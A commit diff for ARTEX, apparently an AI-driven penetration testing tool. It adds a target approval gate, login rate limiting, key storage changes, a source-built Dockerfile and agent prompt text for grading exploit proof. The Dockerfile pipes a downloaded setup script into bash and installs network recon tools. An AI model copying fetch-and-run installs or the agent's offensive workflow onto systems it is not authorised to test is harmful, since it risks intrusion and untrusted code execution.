feat(intercept): target-gate schema, opt-in flag and approval requests (S3b 1.2-1.4)

Storage, flag and request path of the approval gate for asset targets. The
gate itself is not wired into the tool hook yet (steps 1.5 to 1.7): with this
change nothing is extracted, resolved or blocked, whatever the flag says.

Schema and store (1.2)
- tasks.target_gate, conversations.target_gate (default false).
- intercept_pending.target_key and a partial unique index: one open request
  per scope (task or conversation) and host:port.
- target_pins (no foreign keys: a pin outlives its task, its conversation and
  its request row) and target_gate_exemption_log. All DDL is idempotent; no
  CHECK constraints; the cascade on intercept_pending.conversation_id stays.
- db/target_pins.go: pin lookup with port precedence, list, revoke,
  find-or-create of a request, and ResolveTargetRequest, which settles the
  row, supersedes the old pin and writes the new version in one transaction.
- Deleting a task or an archive stub revokes its pins and settles its open
  target requests in the delete transaction. DeleteConversation and
  DeleteConversations revoke the pins of the removed conversations in the
  same transaction as the delete.

Opt-in flag (1.3)
- Per task through the create and metadata-patch paths, per conversation
  through create and patch; exposed in the task DTO. A retest conversation
  takes the flag of the finding's task, never its pins. A spawned task starts
  with the gate off.
- The task flag is atomic and read on every call through TargetScope.Enabled.
  TargetScope now carries the Interceptor that owns the gate.

Request, wait, decide (1.4)
- pendingManager keeps a list of waiters per request; resolve wakes all.
- RequestTargets: find-or-create per target, one card per request, wait on
  channel, poll, context and wait bound. A plain request is never settled by
  a call that leaves. A request merged with an ask is bound to its creating
  call and a timeout never allows it.
- Decide records the approver (subject of the session token) and the remote
  address for every human decision, classic asks included. On a target
  request "allowed" pins the displayed addresses; that is the only writer of
  pins.
- A request raised while the global egress proxy is set says the approval is
  name-only and its pin is stored with name_only_effective.
- Routes: GET/POST .../target-pins and .../target-pins/{pid}/revoke under
  /api/tasks/{id} and /api/conversations/{id}; decision_source=target filter.
- ValidateExemptionHost: an exemption written as an IP literal may be private
  unicast, never loopback, link-local or metadata, unspecified or multicast.

.dockerignore

@@ -5,6 +5,11 @@ web/out
 server/webui/dist
 /artex
 data
+keys
+backups
+.env
+config.json
+jwt.key
 *.db
 transcripts
 bench/kv

.env.example

@@ -3,6 +3,9 @@
 # Address the web UI is published on. 127.0.0.1 keeps it host-local; set 0.0.0.0
 # to reach it from another machine or from Windows when ARTEX runs inside WSL.
 ARTEX_BIND_ADDR=127.0.0.1
+# Reverse proxies (comma-separated CIDRs) whose X-Forwarded-For the login rate
+# limit trusts. Empty: the header is ignored. See "Reverse proxy deployment" in README.md.
+ARTEX_TRUSTED_PROXIES=
 POSTGRES_USER=artex
 POSTGRES_PASSWORD=change-me-please
 POSTGRES_DB=artex
@@ -14,3 +17,8 @@ ARTEX_LLM_PROVIDER=
 ARTEX_LLM_MODEL=
 ARTEX_LLM_BASE_URL=
 ARTEX_LLM_PROXY=
+
+# Untrusted-output boundary (optional). ARTEX_UNTRUSTED_BOUNDARY=1 frames every tool
+# output between nonce-tagged markers so the model treats it as data, not instructions.
+# Off by default; test it against a local target before enabling it in production.
+# ARTEX_UNTRUSTED_BOUNDARY=1

.github/workflows/ci.yml

@@ -32,7 +32,7 @@ jobs:
       - run: go build ./...
       - run: go vet ./...
       # Skipped tests, tracked in issue #9:
-      # - TestInterceptFilterHTTP, TestGraphOverviewExpandsAssociatedCompanyScope,
+      # - TestGraphOverviewExpandsAssociatedCompanyScope,
       #   TestCaptureApprovalLifecycle: fail on unmodified upstream code with a
       #   fresh database.
       # - TestSideUsageRecordedOnceOnConsumerCancellation: concurrency/cancellation
@@ -44,6 +44,26 @@ jobs:
         # as rotating failures in the agent package). Serial package execution
         # keeps the database state deterministic.
         run: go test -p 1 ./...
+      - name: go test -race
+        # Race detector on the packages that pass under -race today. ./server is
+        # left out until it has been checked with -race against postgres.
+        # Its own database: the plain run above leaves rows behind and the db tests
+        # are not idempotent across runs (duplicate llm_profiles names).
+        env:
+          ARTEX_PG_DSN: postgres://artex:testpass@localhost:5432/artextest_race?sslmode=disable
+
+        run: >-
+          go test -race -p 1 ./agent ./cmd/artex ./config ./db ./evidence ./guard
+          ./intercept ./llmpool ./llmrec ./mcphttp ./notify ./sidequestion ./traffic
+
+  shell:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      # shellcheck is preinstalled on the ubuntu runners. -S warning: the scripts
+      # currently have only info-level notes (intentional A && B || C chains in
+      # update.sh, an unquoted glob in backup.sh's prune), so fail on warnings.
+      - run: shellcheck -S warning install.sh update.sh start.sh scripts/backup.sh reset-password.sh
 
   web:
     runs-on: ubuntu-latest

.gitignore

@@ -47,6 +47,7 @@ Thumbs.db
 
 # JWT signing key (generated at runtime, stored in the project root, never committed)
 /jwt.key
+/keys/
 
 # local environment generated by Docker deployment (contains passwords/keys, not committed)
 .env
@@ -57,7 +58,10 @@ Thumbs.db
 # bench benchmark related (local artifacts, not committed)
 /bench/
 /Dockerfile.bench
-/Dockerfile.bench.v2backups/
+/Dockerfile.bench.v2
+
+# scripts/backup.sh output (database dumps, data archives)
+backups/
 
 # posture probe raw output
 posture-runs/

CHANGELOG.md

@@ -4,18 +4,84 @@ All notable changes to this project are documented in this file. The format is b
 
 ## [Unreleased]
 
+### Added
+
+- **Optional custom User-Agent for LLM requests**: an LLM profile can set a `User-Agent` value that overrides the header on every outbound LLM request; left empty, the default User-Agent is unchanged. The value is trimmed and rejected if it contains control characters or exceeds 256 bytes. Part of #154 (the fixed-full-URL mode is not included).
+
+### Docs
+
+- **LLM base URL note in the README**: for the Anthropic format, enter the host without a `/v1` suffix (the provider appends `/v1/messages`, so a `/v1` base becomes `/v1/v1/messages`); OpenAI-format providers append `/chat/completions` (or `/responses` for the `openai-responses` format), so their base does end in `/v1`. Follow-up to #154.
+
+## [0.5.1] - 2026-11-05
+
+Login rate limiting per client IP with trusted-proxy support, a 12-character minimum for new passwords, a loopback-only default for the binary, and the JWT signing key in its own Docker volume.
+
 ### Changed
 
-- **The image is built from the checkout instead of pulled**: `docker-compose.yml` no longer references the `autumn27/artex` namespace, whose repository is gone and whose name its holder could republish at any time. `install.sh` and `update.sh` build the image locally.
-- **`update.sh` refuses to rebuild stale code**: when `git pull --ff-only` fails on a diverged clone (including every clone made before the 2026-10-23 history rewrite), it now stops with recovery commands instead of warning, rebuilding the old tree and printing "Build complete".
+- **The binary listens on `127.0.0.1:8787` by default**: the `-addr` default was `:8787`, every interface. Running `artex` or `./start.sh` without `-addr` now accepts connections from the local machine only; pass `-addr :8787` to listen on every interface. Docker is unchanged: the image starts the server with `-addr :8787` inside the container, and `docker-compose.yml` already publishes it on `127.0.0.1` by default (`ARTEX_BIND_ADDR`).
+- **New passwords need at least 12 characters** (was 8), at first-run setup (`POST /api/auth/init` and the `/setup` page) and in `POST /api/auth/change-password`. Login does not check length, so a password set under the old minimum keeps working until it is changed. `reset-password.sh` enforces the same minimum.
 
 ### Fixed
 
-- **Ollama base URL on the environment path**: `ARTEX_LLM_BASE_URL=http://host:11434` is normalized to the `/v1` root the same way the saved-profile path already was, so a LAN Ollama server configured through the environment no longer answers 404 on chat.
+- **The JWT signing key survives container rebuilds**: the server wrote `jwt.key` to the executable's directory, `/app` in the image, so the key lived in the container's writable layer and recreating the container (for example `docker compose up -d --build`) generated a new key and signed every user out. The key directory is now set by `ARTEX_JWT_KEY_DIR` (default: the executable's directory, unchanged for non-Docker installs). `docker-compose.yml` sets it to `/app/keys` and bind-mounts `./keys` there, outside `./data`, which the file manager browses. On start, when `<key dir>/jwt.key` is missing, a key at `data/jwt.key`, then at the executable's directory, is copied there with mode 0600 and the old file is removed; otherwise a new key is generated. An existing key is never overwritten. Upgrading a Docker install signs every user out once, because the old key is in the container being replaced; to keep sessions, copy it out before recreating the container:
+
+  ```bash
+  mkdir -p keys
+  docker cp artex-artex-1:/app/jwt.key ./keys/jwt.key
+  ```
+
+### Security
+
+- **Login rate limit**: `POST /api/auth/login` allows 10 attempts per minute per client IP. The next attempt gets 429 with a `Retry-After` header (seconds) and a JSON error, and the IP is blocked for 1 minute. Each attempt while blocked, and each later block, doubles the wait, up to 15 minutes. A successful login clears the IP's count. There is no per-account lockout, so failing logins cannot lock the admin out from other addresses. The state is in memory: a restart clears it, an IP idle for 15 minutes is dropped, and at most 10,000 IPs are tracked (the least recently seen is dropped first). The IP is the TCP peer address, and `X-Forwarded-For` is ignored, unless the peer is listed in the new `ARTEX_TRUSTED_PROXIES` (comma-separated CIDRs, empty by default, passed through by `docker-compose.yml`). For a listed peer the header is read from the right and the first address that is not a trusted proxy is the client; entries the client added further left are never used. Behind a reverse proxy, set it: otherwise every client has the proxy's address and shares one budget, and an attacker failing logins through the proxy blocks the real users, admin included, for up to 15 minutes. The README nginx example now sends `X-Forwarded-For`.
+- **`GET /api/health` hides the version from anonymous callers**: without a valid token it answers `{"ok":true}` only. With a token (the web UI sends one for the version in its top bar) the answer is unchanged: `ok`, `service` and `version`.
+
+## [0.5.0] - 2026-11-04
+
+Ollama support, a setup token for the first-run claim, secret scrubbing for child processes, a Docker image that builds from a fresh clone, Go 1.26.10 and Node 22, and race and shellcheck runs in CI. Entries marked "direct commit" landed on `main` without a pull request.
 
 ### Added
 
 - **Ollama support**: an `ollama` LLM profile format for a local or LAN Ollama server. Keyless by design: no API key is needed, `OPENAI_API_KEY` is never inherited, the base URL defaults to `http://127.0.0.1:11434/v1` and is normalized to the `/v1` root, and the profile works in the failover pool, task LLM chains, model listing and connection tests. Contributed by @glauberportella (#128).
+- **Setup token for first-run setup**: while no admin password is set, the server generates a random 128-bit one-time token at startup and prints it to its log (`docker compose logs artex | grep "Setup token"`). The `/setup` page has a field for it, `POST /api/auth/init` requires it (`setup_token`, compared in constant time, 403 when missing or wrong), and it is cleared once the password is stored (#137).
+- **`ARTEX_BIND_ADDR`**: the address `docker-compose.yml` publishes the web UI on, default `127.0.0.1` (#137).
+
+### Security
+
+- **First-run claim**: before, anyone who reached port 8787 on a fresh install before the operator could set the admin password. Init now needs the setup token above, and Docker installs publish 8787 on `127.0.0.1` by default; set `ARTEX_BIND_ADDR=0.0.0.0` in `.env`, or use a reverse proxy or SSH tunnel, for remote access (#137).
+- **Startup secrets removed from the environment**: `ARTEX_PG_DSN`, `ANTHROPIC_API_KEY` and `OPENAI_API_KEY` are unset inside `server.New` after they are read and before the MCP discovery goroutine and the task resume loop start, so agent shells, MCP stdio servers and custom tools spawned afterwards no longer inherit them (#136). The binary passes the option that enables this, but `New` did not apply its options, so the scrub from #136 never ran until #146 fixed it (#146). See Known issues for what this does not cover.
+- **Saved API keys go only to their own endpoint**: `POST /api/llm/test` and `POST /api/llm/models` used a saved key (the profile's, or the global one) for any `base_url` in the request body, so a crafted request could send it to another host. A saved key is now sent only when the request's provider and normalized base URL match the ones it was saved for; otherwise the request must carry `api_key` (#142).
+- **`ARTEX_LLM_PROVIDER` is matched case-insensitively**: `Ollama` or a value with surrounding spaces fell through to the Anthropic default and sent `ANTHROPIC_API_KEY` to the configured base URL (#140).
+
+### Fixed
+
+- **Ollama base URL on the environment path**: `ARTEX_LLM_BASE_URL=http://host:11434` is normalized to the `/v1` root the same way the saved-profile path already was, so a LAN Ollama server configured through the environment no longer answers 404 on chat (direct commit 1c35c9c).
+- **Malformed `config.json` is an error**: `config.Load` used to ignore a parse error and treat the file as missing, which surfaced as a misleading "no database config found" or a silently ignored `skill_dir`. A read or parse error is now returned with the file path and startup exits (#141).
+- **`install.sh` escapes what it writes**: the local install writes `config.json` string values through a JSON escaper and requires a numeric port; the Docker install escapes `\`, `|` and `&` in the Postgres password and API key before the `.env` substitution (#141).
+- **`scripts/backup.sh --keep 0` is rejected**: it used to delete every dump, including the one just written, and still report success. Values with a leading zero are rejected too (#139).
+- **`backups/` is ignored again**: a missing newline had merged it into the previous `.gitignore` line, so database dumps showed up as untracked files (#138).
+
+### Build and CI
+
+- **The image is built from the checkout instead of pulled**: `docker-compose.yml` no longer references the `autumn27/artex` namespace, whose repository is gone and whose name its holder could republish at any time. `install.sh` and `update.sh` build the image locally (direct commit 1ed154e).
+- **A fresh clone builds the image**: the Dockerfile copied a prebuilt `dist/<arch>/artex` that a clean checkout does not have. It is now a multi-stage build: a Node 22 stage runs the frontend static export, a Go 1.26 stage runs `build.sh` with the release binaries job's flags (CGO-free cross-compile, `-trimpath`, version stamp), and the runtime stage copies the result (#147).
+- **`update.sh` refuses to rebuild stale code**: when `git pull --ff-only` fails on a diverged clone (including every clone made before the 2026-10-23 history rewrite), it now stops with recovery commands instead of warning, rebuilding the old tree and printing "Build complete" (direct commit 1ed154e).
+- **CI runs the race detector and shellcheck**: `go test -race -p 1` over every package with tests except `./server`, and `shellcheck -S warning` on `install.sh`, `update.sh`, `start.sh` and `scripts/backup.sh` (#144). The race run uses its own database (direct commit 0477751).
+
+### Upgrades
+
+- **Go 1.26.10** in `go.mod` (was 1.26.3), and **`golang.org/x/net` v0.62.0** (was v0.58.0), which raised x/crypto to 0.58.0, x/text to 0.43.0, x/sys to 0.49.0, x/sync to 0.24.0, x/mod to 0.41.0 and x/tools to 0.51.0 (#145).
+- **Node 22 in the runtime image**: NodeSource `setup_22.x` instead of the end-of-life `setup_20.x`, matching CI and the release workflow (#143).
+
+### Known issues
+
+- **The secret scrub has limits**: `os.Unsetenv` changes only the Go runtime's copy, so a process running as the same user can still read `/proc/<pid>/environ` of the server (and, in Docker, of PID 1, `start.sh`). Other variables that may carry credentials, such as `ARTEX_LLM_PROXY`, are not scrubbed.
+- **The LLM test and model-list endpoints still take `proxy` from the request**, so a saved key can travel through a request-supplied proxy when the base URL is plain HTTP.
+- **Postgres passwords with URL-special characters** (`@`, `/`, `#`, `?`) break the `ARTEX_PG_DSN` that `docker-compose.yml` builds by interpolation, and Compose interpolates `$` in `.env`.
+- **The build context includes local secrets**: `.dockerignore` does not exclude `.env`, `config.json` or `jwt.key`, so the build stage's `COPY . .` puts them in a build-stage layer of the local builder cache. They are not copied into the final image.
+- **Image supply chain**: the recon tools are downloaded at pinned versions but not checksum-verified, sqlmap tracks its default branch, and the Playwright packages are installed at `@latest`. Draft #127 proposes checksum verification.
+- **No Docker image is published for this release**: the release workflow's `docker` job only runs when `DOCKERHUB_ENABLED` is set, and it still downloads prebuilt binaries into `dist/` that the Dockerfile no longer uses. Build the image from the checkout with `docker compose up -d --build`.
+- **CI gaps**: `./server` is not run under `-race`; there is no `govulncheck` step and no `docker build` job. Four tests skip themselves (fresh-database or timing failures, see #9).
+- **Reported and not fixed in this release**: `list_task_credentials` emits an invalid `"required": [""]` schema that strict LLM providers reject (#130), and the MCP Streamable HTTP client fails against servers that only support protocol version 2025-11-25 (#131; fix proposed in #132).
 
 ## [0.4.0] - 2026-10-23
 
@@ -934,7 +1000,9 @@ First release of this fork. The engine underneath is still upstream's, but this
 - [@Autumn-27](https://github.com/Autumn-27)
 - [@neouks](https://github.com/neouks)
 
-[Unreleased]: https://github.com/BaaRai/ARTEX/compare/v0.4.0...HEAD
+[Unreleased]: https://github.com/BaaRai/ARTEX/compare/v0.5.1...HEAD
+[0.5.1]: https://github.com/BaaRai/ARTEX/compare/v0.5.0...v0.5.1
+[0.5.0]: https://github.com/BaaRai/ARTEX/compare/v0.4.0...v0.5.0
 [0.4.0]: https://github.com/BaaRai/ARTEX/compare/v0.3.15...v0.4.0
 [0.3.10]: https://github.com/Autumn-27/ARTEX/compare/v0.3.9...v0.3.10
 [0.3.9]: https://github.com/Autumn-27/ARTEX/compare/v0.3.8...v0.3.9

Dockerfile

@@ -1,24 +1,58 @@
 # syntax=docker/dockerfile:1
 #
-# Runtime image (no compilation inside the image): install common tools only and ship
-# a **pre-built Linux single binary**. The binary is cross-compiled by the CI binaries
-# job (pure Go, no QEMU) and placed at dist/<TARGETARCH>/artex in the build context.
-# This way multi-arch builds only need to emulate the apt layer for arm64 instead of
-# emulating the Next/Go compilation, which is much faster.
+# Multi-stage build: `docker compose up -d --build` (or `docker build .`) produces
+# the complete image from source. No prebuilt binary in the build context is needed,
+# so a fresh `git clone` builds — dist/ is git-ignored and is no longer required.
 #
-# To build the image manually, prepare the binary yourself first:
-#   cd web && npm run build:static && cd ..
-#   cp -r web/out server/webui/dist
-#   CGO_ENABLED=0 GOARCH=amd64 go build -tags embedui -o dist/amd64/artex ./cmd/artex
-#   docker build -t artex:local .
+#   frontend (web) -> Go binary with embedded UI (build) -> runtime image
+#
+# The Go binary is produced by build.sh with the same flags the release workflow's
+# binaries job uses, so the image binary and the published release binary come from
+# one source.
+
+# ---------------------------------------------------------------- frontend ---
+# Pinned to the Node 22 line the CI/release workflows use. On the build platform
+# only; the frontend static export is architecture-independent.
+FROM --platform=$BUILDPLATFORM node:22-bookworm-slim AS web
+WORKDIR /src/web
+COPY web/package.json web/package-lock.json ./
+RUN npm ci --ignore-scripts
+COPY web/ ./
+RUN npm run build:static
+
+# ------------------------------------------------------------- Go binary ---
+# Pinned to the Go 1.26 line (matches go.mod and the release binaries job). The
+# binary is CGO-free, so this stage runs on the build platform and cross-compiles
+# to $TARGETARCH without QEMU.
+FROM --platform=$BUILDPLATFORM golang:1.26-bookworm AS build
+WORKDIR /src
+COPY go.mod go.sum ./
+RUN go mod download
+COPY . .
+# Reuse the frontend built above; build.sh skips its own frontend step.
+COPY --from=web /src/web/out ./server/webui/dist
+ARG ARTEX_VERSION=dev
+ARG TARGETOS
+ARG TARGETARCH
+# Same flags as the release binaries job (ARTEX_COMPRESS=0, -trimpath,
+# -X main.version), driven through build.sh so there is one build path.
+RUN ARTEX_SKIP_FRONTEND=1 \
+    ARTEX_SKIP_NPM_CI=1 \
+    ARTEX_COMPRESS=0 \
+    ARTEX_OUTPUT=/out/artex \
+    ARTEX_BUILD_VERSION="${ARTEX_VERSION}" \
+    bash ./build.sh --target "${TARGETOS:-linux}/${TARGETARCH:-amd64}"
+
+# ---------------------------------------------------------------- runtime ---
 FROM python:3.12-slim-bookworm
 ARG TARGETARCH
 # Common tools: ripgrep / curl / vim, plus a set of recon staples (add/remove as needed).
-# Node 20.x comes from NodeSource: bookworm's apt nodejs is 18, but Playwright requires >=20.
+# Node 22.x comes from NodeSource: bookworm's apt nodejs is 18, Playwright requires >=20,
+# and 20 is end-of-life. 22 matches the CI and release workflows.
 RUN apt-get update && apt-get install -y --no-install-recommends \
       ca-certificates ripgrep curl wget vim git jq unzip \
       dnsutils iputils-ping netcat-openbsd inetutils-telnet whois nmap \
-    && curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \
+    && curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \
     && apt-get install -y --no-install-recommends nodejs \
     && rm -rf /var/lib/apt/lists/*
 # Web-recon toolbox (drost-community take 1, #100): pinned release binaries installed
@@ -83,16 +117,16 @@ RUN npm install -g @playwright/mcp@latest @playwright/cli@latest playwright@late
     && playwright install --with-deps chromium \
     && rm -rf /var/lib/apt/lists/*
 WORKDIR /app
-# pre-built binary for the matching architecture (dist/amd64/artex or dist/arm64/artex)
-COPY dist/${TARGETARCH}/artex /app/artex
+# Binary compiled from source in the build stage above.
+COPY --from=build /out/artex /app/artex
 # Daemon startup script: relaunches the process after a crash and forwards SIGTERM
 # to artex — docker stop only signals PID 1; without forwarding, artex never receives it,
 # cannot shut down gracefully, and is hard-killed by SIGKILL after 10 seconds.
 COPY start.sh /app/start.sh
-RUN chmod +x /app/artex /app/start.sh
+RUN chmod +x /app/artex /app/start.sh && mkdir -p /app/keys
 COPY skills/ /app/skills/
-# persistence point for data/ (SQLite + jwt.key)
-VOLUME ["/app/data"]
+# persistence points: data/ (SQLite, task files) and keys/ (jwt.key, via ARTEX_JWT_KEY_DIR)
+VOLUME ["/app/data", "/app/keys"]
 EXPOSE 8787 8788
 ENTRYPOINT ["/app/start.sh"]
 CMD ["-addr", ":8787", "-proxy", ":8788"]

README.md

@@ -9,6 +9,8 @@ AI autonomous penetration testing system (Go backend + Next.js frontend)
 
 </div>
 
+<a href="https://trendshift.io/repositories/316805?utm_source=trendshift-badge&amp;utm_medium=badge&amp;utm_campaign=badge-trendshift-316805" target="_blank" rel="noopener noreferrer"><img src="https://trendshift.io/api/badge/trendshift/repositories/316805/daily?language=Go" alt="BaaRai%2FARTEX | Trendshift" width="250" height="55"/></a>
+
 ---
 
 ## Screenshots
@@ -98,7 +100,6 @@ The web UI is published on `127.0.0.1` by default. To reach it from another mach
 git clone https://github.com/BaaRai/ARTEX.git
 cd ARTEX
 cp .env.example .env          # set POSTGRES_PASSWORD, optionally ANTHROPIC_API_KEY
-# build the single binary first (frontend, then go build -tags embedui), see the Dockerfile header
 docker compose up -d --build  # builds artex from this checkout + starts postgres
 # → http://localhost:8787
 ```
@@ -180,7 +181,7 @@ Daily cron example (03:20, operator crontab):
 
 ## Updating and upgrading
 
-> Upgrading only swaps the program and never touches data: the Postgres volume `pgdata`, `./data` (jwt.key / SQLite, etc.), and `./skills` are all preserved. **No manual database migration is needed**: `artex` idempotently re-runs `schema.sql` on every start (with `ADD COLUMN` / `CREATE INDEX IF NOT EXISTS`), i.e. "restart equals migrate". It is still recommended to back up `./data` and the database before upgrading.
+> Upgrading only swaps the program and never touches data: the Postgres volume `pgdata`, `./data` (SQLite, task files, etc.), `./keys` (jwt.key), and `./skills` are all preserved. **No manual database migration is needed**: `artex` idempotently re-runs `schema.sql` on every start (with `ADD COLUMN` / `CREATE INDEX IF NOT EXISTS`), i.e. "restart equals migrate". It is still recommended to back up `./data` and the database before upgrading.
 
 ### Upgrading from a clone made before 2026-10-23
 
@@ -255,13 +256,15 @@ CGO_ENABLED=0 go build -tags embedui -o artex ./cmd/artex
 **LLM**: `export ANTHROPIC_API_KEY=sk-...` (or `OPENAI_API_KEY`); you can also fill it in on the UI's "LLM Configuration" page — which can add a local Ollama server as a keyless provider (format "Ollama", base URL default `http://127.0.0.1:11434/v1`, models loaded from the server).
 Optional: `ARTEX_LLM_PROVIDER` (anthropic | openai | openai-responses | ollama) / `ARTEX_LLM_MODEL` / `ARTEX_LLM_BASE_URL` / `ARTEX_LLM_PROXY`.
 
+**Base URL**: for the Anthropic format, enter the host **without** a `/v1` suffix (e.g. `https://api.anthropic.com`) — the provider appends `/v1/messages` itself, so a base ending in `/v1` becomes `https://api.anthropic.com/v1/v1/messages`. OpenAI-format providers append `/chat/completions` (or `/responses` for the `openai-responses` format), so their base **does** end in `/v1` (e.g. `https://api.openai.com/v1`).
+
 **Concurrency**: the number of work agents per task is configured in "System Settings" (default 3).
 
 **Common flags**: `./start.sh -addr :8787 -proxy :8788` (`-addr` frontend+API, `-proxy` traffic recording proxy). The startup script passes arguments through to `artex` verbatim.
 
 ### Reverse proxy deployment (HTTPS / only exposing 443)
 
-The frontend and API/SSE are served by the same backend port (default `:8787`), and the realtime activity stream uses the **same-origin** address by default, so **there is no need to configure `NEXT_PUBLIC_SSE_BASE`**: just expose 443 publicly and keep 8787 on the internal network.
+The frontend and API/SSE are served by the same backend port (8787; the binary listens on `127.0.0.1:8787` by default, the Docker container on `:8787` published on `127.0.0.1`), and the realtime activity stream uses the **same-origin** address by default, so **there is no need to configure `NEXT_PUBLIC_SSE_BASE`**: just expose 443 publicly and keep 8787 on the internal network.
 
 SSE is a long-lived connection with continuous pushes, so the reverse proxy **must disable buffering**, otherwise the browser connects but never receives events (the activity stream spins forever). Nginx example:
 
@@ -275,6 +278,7 @@ server {
         proxy_pass http://127.0.0.1:8787;
         proxy_set_header Host $host;
         proxy_set_header X-Forwarded-Proto $scheme;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         # SSE essentials: buffering off, long timeouts, HTTP/1.1
         proxy_buffering off;
@@ -286,6 +290,13 @@ server {
 }
 ```
 
+**Login rate limit behind a proxy**: login allows 10 attempts per minute per client IP. Behind a proxy every request comes from the proxy's address, so without further setup all users share one budget and an attacker who fails 10 logins blocks everyone, admin included, for up to 15 minutes. To avoid that, keep the `X-Forwarded-For` line above and set `ARTEX_TRUSTED_PROXIES` (comma-separated CIDRs, empty by default) to the address ARTEX sees the proxy connect from:
+
+- **nginx and ARTEX both on the host** (binary, `./start.sh`): the peer is `127.0.0.1`. Start ARTEX with `ARTEX_TRUSTED_PROXIES=127.0.0.1/32`.
+- **nginx on the host, ARTEX in Docker** (`docker-compose.yml`): the connection reaches the container from the Docker bridge gateway (a `172.x` address), not from `127.0.0.1`. Find it with `docker network inspect artex_default --format '{{(index .IPAM.Config 0).Gateway}}'` (the network is `<project directory>_default`; `docker network ls` lists it), put `ARTEX_TRUSTED_PROXIES=<gateway>/32` in `.env`, and run `docker compose up -d`.
+
+For a peer in that list, ARTEX reads `X-Forwarded-For` from the right and takes the first address that is not a trusted proxy; from any other peer the header is ignored. Trust only addresses of proxies you run: a trusted peer can claim any client address.
+
 > Only when SSE needs a different origin from the page (e.g. a dedicated subdomain) should you set `NEXT_PUBLIC_SSE_BASE` **at build time** (this variable is baked into the static bundle during `next build`; setting it at container runtime has no effect).
 
 ---

agent/cancelcause.go

@@ -47,6 +47,8 @@ var (
 		"The user paused a running Worker. This call was cancelled and the intent turned paused; all recorded intents, facts, vulnerabilities, and activity records are kept, and execution restarts from scratch after resuming")
 	AbortWorkCancelledByUser = cause("work_cancelled_by_user", "The user deleted this Worker intent",
 		"The user deleted a running Worker. This call was cancelled; after the Worker exits the write area, the server handles the intent per the user-chosen deletion mode — soft delete only marks it deleted and keeps all outputs, hard delete cascades to remove the intent and the downstream nodes supported only by it")
+	AbortWorkClaimLost = cause("work_claim_lost", "Another Worker took this intent over",
+		"This Worker's claim on the intent expired (no heartbeat reached the database within the claim TTL) and another Worker took the intent over, so its heartbeat was rejected. This run was cancelled and its result is discarded; the intent now belongs to the new claimer")
 	AbortWorkFinished = cause("work_finished", "Worker finished normally, context freed",
 		"The Worker finished normally, and the engine released its context resources in detachWork. This is not an interruption; if it appears in an interruption message, the cancel and finish events raced")
 	AbortPausedRaceGuard = cause("paused_race_guard", "Refused a new run while task is paused",

agent/capture_approval_test.go

@@ -70,7 +70,7 @@ func TestCaptureApprovalLifecycle(t *testing.T) {
 					t.Error(err)
 					return
 				}
-				if err := ic.Decide(detail.ID, tc.approve); err != nil {
+				if err := ic.Decide(detail.ID, tc.approve, "", ""); err != nil {
 					t.Error(err)
 				}
 			})

agent/chat.go

@@ -160,6 +160,9 @@ func (c *ChatAgent) Chat(ctx context.Context, agentKey, sessionID, message strin
 		Settlement:   wrapupSettlement(agentKey, nil),
 		NonStreaming: c.nonStreaming(), // when this profile selects non-streaming, use Provider.Complete
 		MaxTokens:    c.maxTokens(),    // 0 = send no cap, the server's default decides
+
+		// Opt-in via ARTEX_UNTRUSTED_BOUNDARY (default off): nonce-frame tool output as untrusted data.
+		UntrustedOutputBoundary: untrustedBoundaryEnabled(),
 	}
 	if c.guard != nil {
 		opts.Hooks = c.guard.Hooks()

agent/finding_workflow.go

@@ -76,6 +76,9 @@ func findingWorkflowTools(agentKey string, tools []actool.CoreTool) ([]actool.Co
 	if has["update_finding_report"] && has["bind_finding_traffic"] && has["get_finding_traffic"] {
 		guidance += "\n\n**Auto-link traffic before reporting (enabled)**: you are responsible for verifying and binding traffic for the vulnerability that triggered this run, then writing the report. First obtain the unambiguous finding_id and finding_node_id from the report_finding return JSON or get_task_node_detail / list_task_findings. Read the vulnerability details, the corresponding intent's execution records, and the existing evidence list, preferring the real IDs handed off by the reporter. If this verification is HTTP and the traffic tools are available, use traffic_search to filter candidates, then traffic_get to verify item by item that the request/response truly supports the vulnerability; domains and times are only for filtering and do not prove attribution. Bind the confirmed evidence in reproduction order via bind_finding_traffic(finding_id, traffic_refs), choosing baseline / proof / verification / supporting and stating the purpose. Operate only on this vulnerability — do not recreate vulnerabilities or re-probe the target. After a successful bind, call get_finding_traffic again for the latest version, read the bodies you need, then pass the version you actually read as evidence_version to update_finding_report (whose finding_id parameter still takes finding_node_id). Do not re-append existing bindings. For TCP, no-capture, unavailable tools, or no exact match, skip auto-binding, write the report from textual/command evidence with the reason stated, and never guess to force traffic in. Do not claim success when binding fails; keep the existing evidence and explain in the report why nothing was bound."
 	}
+	if has["update_finding_report"] {
+		guidance += findingVerificationGuidance
+	}
 	if guidance != "" || has["get_finding_traffic"] || has["update_finding_report"] {
 		guidance += findingIDGuidance
 	}
@@ -126,3 +129,8 @@ func (t *ToolSet) findingRefsFromHint(hintID int64, explicit []db.TrafficRef) ([
 	}
 	return db.NormalizeTrafficRefs(append(append([]db.TrafficRef{}, explicit...), payload.Refs...))
 }
+
+// findingVerificationGuidance tells the report writer how to declare proof
+// (S1). The server downgrades any finding whose declaration does not hold up,
+// so the agent must never state a level or quote it cannot read in the bound body.
+const findingVerificationGuidance = "\n\n**Verification (S1)**: when you call update_finding_report, also declare poe_level (0-4) and evidence_quotes. poe_level 1 = error, timing or response variation; 2 = structural manipulation (boolean, UNION, parser difference); 3 = actual data extracted; 4 = critical impact (admin credentials, code execution). L3 is the minimum for a verified finding. evidence_quotes must be exact lines copied from a bound proof or verification response body (read it with get_finding_traffic first), never from memory or from the report text; the server checks each quote verbatim after whitespace normalization. If you cannot quote the proof, omit the quotes: the finding then stays unverified, which is acceptable. Do not raise poe_level to get a verified status."

agent/hooks_reach_test.go

@@ -0,0 +1,181 @@
+package agent
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"os"
+	"path/filepath"
+	"sync"
+	"sync/atomic"
+	"testing"
+
+	"github.com/Autumn-27/artex/db"
+	"github.com/Autumn-27/artex/guard"
+	"github.com/Autumn-27/artex/intercept"
+	"github.com/Autumn-27/norma/llm"
+)
+
+// Every agent kind hands its tool calls to the hooks it is given, on the context
+// it was started with. The target gate depends on both: a session without hooks
+// is ungated, and a hook that cannot see the scope cannot decide.
+
+// recordingHooks blocks every tool call (so nothing executes) and records the
+// tool name and the target scope carried by the hook's context.
+type recordingHooks struct {
+	mu    sync.Mutex
+	calls []recordedHookCall
